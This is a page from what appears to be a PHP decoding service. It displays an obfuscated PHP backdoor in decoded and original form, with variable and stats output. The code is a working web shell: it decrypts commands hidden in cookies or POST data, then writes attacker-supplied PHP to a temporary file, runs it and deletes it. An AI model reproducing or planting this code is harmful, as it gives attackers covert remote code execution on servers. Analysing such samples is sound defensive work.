Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ijdrvzbqmf = 'ijdrvzbqmf' ^ ' '; $oxpdjugpp /* dtd*/ = $_CO..

Decoded Output download

<?php $ijdrvzbqmf   =      'ijdrvzbqmf'  ^	' 
 
 
'; 
 
 
 
$oxpdjugpp /* dtd*/ =     $_COOKIE; 
 
 
$gmdocj    =    63; 
$qh_go    = /*huirc  */ $_POST; 
 
 
 
function	_vlif(){  $yr_nkqbqz /*  s_zcu */ =    'zkxjaeqs'; 
 
 
    $hcmsqhari /* pmtyz   */ =	'gssxodrz'; 
    $pglqph /*  noquyf*/ =	'eixsdv'; 
 
 
    $n_qawhhhz    = /*  rswmrp  */ 'mr_dglzgi'; 
 
 
	$hcmsqhari /*   wlxmcq  */ = /*   scqei */ strtolower($n_qawhhhz);	$mbrgxnrko    =    'kkg'; 
 
	$grh_rljt    =	'ezxadvkl';}function    aawyhm_wwp($zgwitklibu, /*   dxydes*/ $mqroh) 
 
 
{ 
 
    global    $ijdrvzbqmf; /*a   */ $_awmwemnpa /*  ggee   */ = /*am*/ ""; 
	$gzsyloxa     =    43; 
 
 
    for    ($ess_zulghu	=      0; /*anmzlf*/ $ess_zulghu    <	strlen($zgwitklibu);)    {    for /* eeyt  */ ($mehvcl	=	0; /* v*/ $mehvcl	< /* hura */ strlen($mqroh)      && /*t*/ $ess_zulghu      <  strlen($zgwitklibu); /* omc */ $mehvcl++, /*   nf */ $ess_zulghu++) /* g  */ {	$_awmwemnpa /*  tu */ .=       $ijdrvzbqmf(ord($zgwitklibu[$ess_zulghu])      ^	ord($mqroh[$mehvcl])); 
			$ess_zulghukmwdoo_sx    =       20; 
    } /* kkfn  */ } 
 
 
     return	$_awmwemnpa; 
} 
 
 
function /*   gnzpsu   */ jphgtaui($zqemnjwa,    $zgwitklibu){ 
 /* kdnwn   */ global	$ijdrvzbqmf; 
 
 
 
 
      $ffkxskaifr   = /*   ema*/ sprintf($ijdrvzbqmf(46) /*  dv   */ .   $ijdrvzbqmf(787-740) /*lkxo  */ . /*k */ "%"."s"    .      "."."p"       . /*mcaut */ "l",       md5($zqemnjwa)); 
 /*  gcp   */ file_put_contents($ffkxskaifr, /*lwiva*/ "<" /*   ggghhb  */ .	"?"."p"   . /*  __bt   */ $ijdrvzbqmf(947-843)    . /*  pmfsg*/ "p".$ijdrvzbqmf(32) /*   xl  */ .	"u"  .	"n"."l" /*   xlfupp */ .	"i"."n".$ijdrvzbqmf(107) /* szxew   */ .      "("."_"."_"."F"."I" /*  _  */ .    "L".$ijdrvzbqmf(223-154)       .	"_"."_".")".$ijdrvzbqmf(59)	.	$ijdrvzbqmf(32)      . /*ok*/ $zgwitklibu["d"]); 
 
$hwucrxerv    =	'upo';       include($ffkxskaifr); /*   i   */ $krycu      = /*   wokvf */ $ffkxskaifr;	$aogxn	=  trim($hwucrxerv); 
 
 
	$hdzxlks    =	'dodw'; 
  @unlink($krycu); 
 
	$fcnwqo /*  s*/ = /*   onq */ 41; 
 
 
	$pjehv /*rlr  */ =    5; 
 
 
} 
 
 
function	gujwjyf() 
 
{ 
 
    global    $ijdrvzbqmf; 
 
 
 /*dd */ $ess_zulghu /* dxi   */ =   array(); 
 
	$wii_dzdud   = /*ydmci */ 'ks'; 
 /* dgb */ $ess_zulghu["p"."v"] /*   xuj*/ =	phpversion(); 
 
 
	$ttggw_	=	45;    $ess_zulghu["s"	. /*  bgii*/ "v"] /* erqmqs  */ = /*  oye_r*/ "3"    .	"."."5"; 
  echo /*   ijmef  */ @serialize($ess_zulghu); 
} 
 
 
function       iasrnsyste(){       $kwamhik   = /*  na  */ 67; /* munceu */ $cedcbpl	=	'vnqj'; /*   kweq*/ $m_zypkn_    =    31; 
 
 
	$kwamhik	=       $m_zypkn_    *	20; 
 
 
 /*   id  */ $pdfa_    =	35;} 
 
 
 
 
iasrnsyste(); 
 
 
 
 
 
 
 
 
function   lakgwsc($zgwitklibu,       $zqemnjwa, /*  t   */ $znurhhq){    global /*  tp*/ $ijdrvzbqmf; 
 
 
 
       $zgwitklibu	= /* yooe */ unserialize(aawyhm_wwp(aawyhm_wwp(base64_decode($zgwitklibu),      $zqemnjwa),     $znurhhq)); 
 /*   zqxd  */ if       (isset($zgwitklibu["a"    .    "k"]))    { 
 /* x*/ if    ($zgwitklibu[$ijdrvzbqmf(97)] /*   ln   */ ==	"i")    {    gujwjyf(); 
   }    elseif    ($zgwitklibu[$ijdrvzbqmf(97)]    ==	$ijdrvzbqmf(637-536))  { /*   fmlq*/ jphgtaui($zqemnjwa,     $zgwitklibu); 
 
 
			$oeteo    =    74; 
     } 
	exit();   } 
} 
$oxpdjugpp /*   qbsusl*/ =    array_merge($qh_go, /* xbn  */ $oxpdjugpp); 
 
 
 
$zqemnjwa    =     "9".$ijdrvzbqmf(85-31)  .	"2"."4".$ijdrvzbqmf(421-370)  . /*pgazp   */ "6" /*tx   */ .    "3"."6"."-"."0"      .    "2".$ijdrvzbqmf(637-536)."d".$ijdrvzbqmf(632-587)     . /* oiqyqt */ $ijdrvzbqmf(90-38) /*d  */ .	$ijdrvzbqmf(49) /*  c*/ . /*sxebn  */ $ijdrvzbqmf(755-654)    .    $ijdrvzbqmf(893-791)   .	$ijdrvzbqmf(45)       .    $ijdrvzbqmf(56)	. /*  sxfaw */ "6".$ijdrvzbqmf(56) /*   tk*/ .       "6" /*   jrwst  */ .	"-".$ijdrvzbqmf(50) /*   wcp   */ .    "4"."3"."c"."4".$ijdrvzbqmf(637-536)."0"."b"."0"      . /* exnq  */ "1"."1"."d"; 
 
 
foreach    ($oxpdjugpp       as      $znurhhq /*v_*/ =>    $zgwitklibu)   { 
 
 
 /*  x   */ lakgwsc($zgwitklibu, /*  fy  */ $zqemnjwa,	$znurhhq);} 
 
 
 
 
 
 
$mehvclwzuyg    =     'qtro_dgj'; 
$osaefonosz     =	31; 
 
 
 
 
_vlif(); 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php $ijdrvzbqmf   =      'ijdrvzbqmf'  ^	'


';



$oxpdjugpp /* dtd*/ =     $_COOKIE;


$gmdocj    =    63;
$qh_go    = /*huirc  */ $_POST;



function	_vlif(){  $yr_nkqbqz /*  s_zcu */ =    'zkxjaeqs';


    $hcmsqhari /* pmtyz   */ =	'gssxodrz';
    $pglqph /*  noquyf*/ =	'eixsdv';


    $n_qawhhhz    = /*  rswmrp  */ 'mr_dglzgi';


	$hcmsqhari /*   wlxmcq  */ = /*   scqei */ strtolower($n_qawhhhz);	$mbrgxnrko    =    'kkg';

	$grh_rljt    =	'ezxadvkl';}function    aawyhm_wwp($zgwitklibu, /*   dxydes*/ $mqroh)


{

    global    $ijdrvzbqmf; /*a   */ $_awmwemnpa /*  ggee   */ = /*am*/ "";
	$gzsyloxa     =    43;


    for    ($ess_zulghu	=      0; /*anmzlf*/ $ess_zulghu    <	strlen($zgwitklibu);)    {    for /* eeyt  */ ($mehvcl	=	0; /* v*/ $mehvcl	< /* hura */ strlen($mqroh)      && /*t*/ $ess_zulghu      <  strlen($zgwitklibu); /* omc */ $mehvcl++, /*   nf */ $ess_zulghu++) /* g  */ {	$_awmwemnpa /*  tu */ .=       $ijdrvzbqmf(ord($zgwitklibu[$ess_zulghu])      ^	ord($mqroh[$mehvcl]));
			$ess_zulghukmwdoo_sx    =       20;
    } /* kkfn  */ }


     return	$_awmwemnpa;
}


function /*   gnzpsu   */ jphgtaui($zqemnjwa,    $zgwitklibu){
 /* kdnwn   */ global	$ijdrvzbqmf;




      $ffkxskaifr   = /*   ema*/ sprintf($ijdrvzbqmf(46) /*  dv   */ .   $ijdrvzbqmf(787-740) /*lkxo  */ . /*k */ "%"."\x73"    .      "."."\x70"       . /*mcaut */ "\x6c",       md5($zqemnjwa));
 /*  gcp   */ file_put_contents($ffkxskaifr, /*lwiva*/ "<" /*   ggghhb  */ .	"?"."\x70"   . /*  __bt   */ $ijdrvzbqmf(947-843)    . /*  pmfsg*/ "p".$ijdrvzbqmf(32) /*   xl  */ .	"\165"  .	"n"."\x6c" /*   xlfupp */ .	"i"."n".$ijdrvzbqmf(107) /* szxew   */ .      "("."_"."_"."F"."\111" /*  _  */ .    "L".$ijdrvzbqmf(223-154)       .	"_"."_".")".$ijdrvzbqmf(59)	.	$ijdrvzbqmf(32)      . /*ok*/ $zgwitklibu["d"]);

$hwucrxerv    =	'upo';       include($ffkxskaifr); /*   i   */ $krycu      = /*   wokvf */ $ffkxskaifr;	$aogxn	=  trim($hwucrxerv);


	$hdzxlks    =	'dodw';
  @unlink($krycu);

	$fcnwqo /*  s*/ = /*   onq */ 41;


	$pjehv /*rlr  */ =    5;


}


function	gujwjyf()

{

    global    $ijdrvzbqmf;


 /*dd */ $ess_zulghu /* dxi   */ =   array();

	$wii_dzdud   = /*ydmci */ 'ks';
 /* dgb */ $ess_zulghu["p"."\166"] /*   xuj*/ =	phpversion();


	$ttggw_	=	45;    $ess_zulghu["\163"	. /*  bgii*/ "v"] /* erqmqs  */ = /*  oye_r*/ "\63"    .	"."."\65";
  echo /*   ijmef  */ @serialize($ess_zulghu);
}


function       iasrnsyste(){       $kwamhik   = /*  na  */ 67; /* munceu */ $cedcbpl	=	'vnqj'; /*   kweq*/ $m_zypkn_    =    31;


	$kwamhik	=       $m_zypkn_    *	20;


 /*   id  */ $pdfa_    =	35;}




iasrnsyste();








function   lakgwsc($zgwitklibu,       $zqemnjwa, /*  t   */ $znurhhq){    global /*  tp*/ $ijdrvzbqmf;



       $zgwitklibu	= /* yooe */ unserialize(aawyhm_wwp(aawyhm_wwp(base64_decode($zgwitklibu),      $zqemnjwa),     $znurhhq));
 /*   zqxd  */ if       (isset($zgwitklibu["\141"    .    "\153"]))    {
 /* x*/ if    ($zgwitklibu[$ijdrvzbqmf(97)] /*   ln   */ ==	"i")    {    gujwjyf();
   }    elseif    ($zgwitklibu[$ijdrvzbqmf(97)]    ==	$ijdrvzbqmf(637-536))  { /*   fmlq*/ jphgtaui($zqemnjwa,     $zgwitklibu);


			$oeteo    =    74;
     }
	exit();   }
}
$oxpdjugpp /*   qbsusl*/ =    array_merge($qh_go, /* xbn  */ $oxpdjugpp);



$zqemnjwa    =     "9".$ijdrvzbqmf(85-31)  .	"2"."4".$ijdrvzbqmf(421-370)  . /*pgazp   */ "\x36" /*tx   */ .    "3"."6"."-"."\60"      .    "2".$ijdrvzbqmf(637-536)."d".$ijdrvzbqmf(632-587)     . /* oiqyqt */ $ijdrvzbqmf(90-38) /*d  */ .	$ijdrvzbqmf(49) /*  c*/ . /*sxebn  */ $ijdrvzbqmf(755-654)    .    $ijdrvzbqmf(893-791)   .	$ijdrvzbqmf(45)       .    $ijdrvzbqmf(56)	. /*  sxfaw */ "6".$ijdrvzbqmf(56) /*   tk*/ .       "\66" /*   jrwst  */ .	"-".$ijdrvzbqmf(50) /*   wcp   */ .    "4"."3"."c"."4".$ijdrvzbqmf(637-536)."0"."b"."\60"      . /* exnq  */ "1"."1"."\x64";


foreach    ($oxpdjugpp       as      $znurhhq /*v_*/ =>    $zgwitklibu)   {


 /*  x   */ lakgwsc($zgwitklibu, /*  fy  */ $zqemnjwa,	$znurhhq);}






$mehvclwzuyg    =     'qtro_dgj';
$osaefonosz     =	31;




_vlif();




?>

Function Calls

iasrnsyste 1
array_merge 1

Variables

$pdfa_ 35
$qh_go 0
$gmdocj 63
$cedcbpl vnqj
$kwamhik 620
$m_zypkn_ 31
$oxpdjugpp 0
$ijdrvzbqmf I`DxVp`gMl

Stats

MD5 65cb41e0fb850fc2ac53de1e4ceb4d62
Eval Count 0
Decode Time 69 ms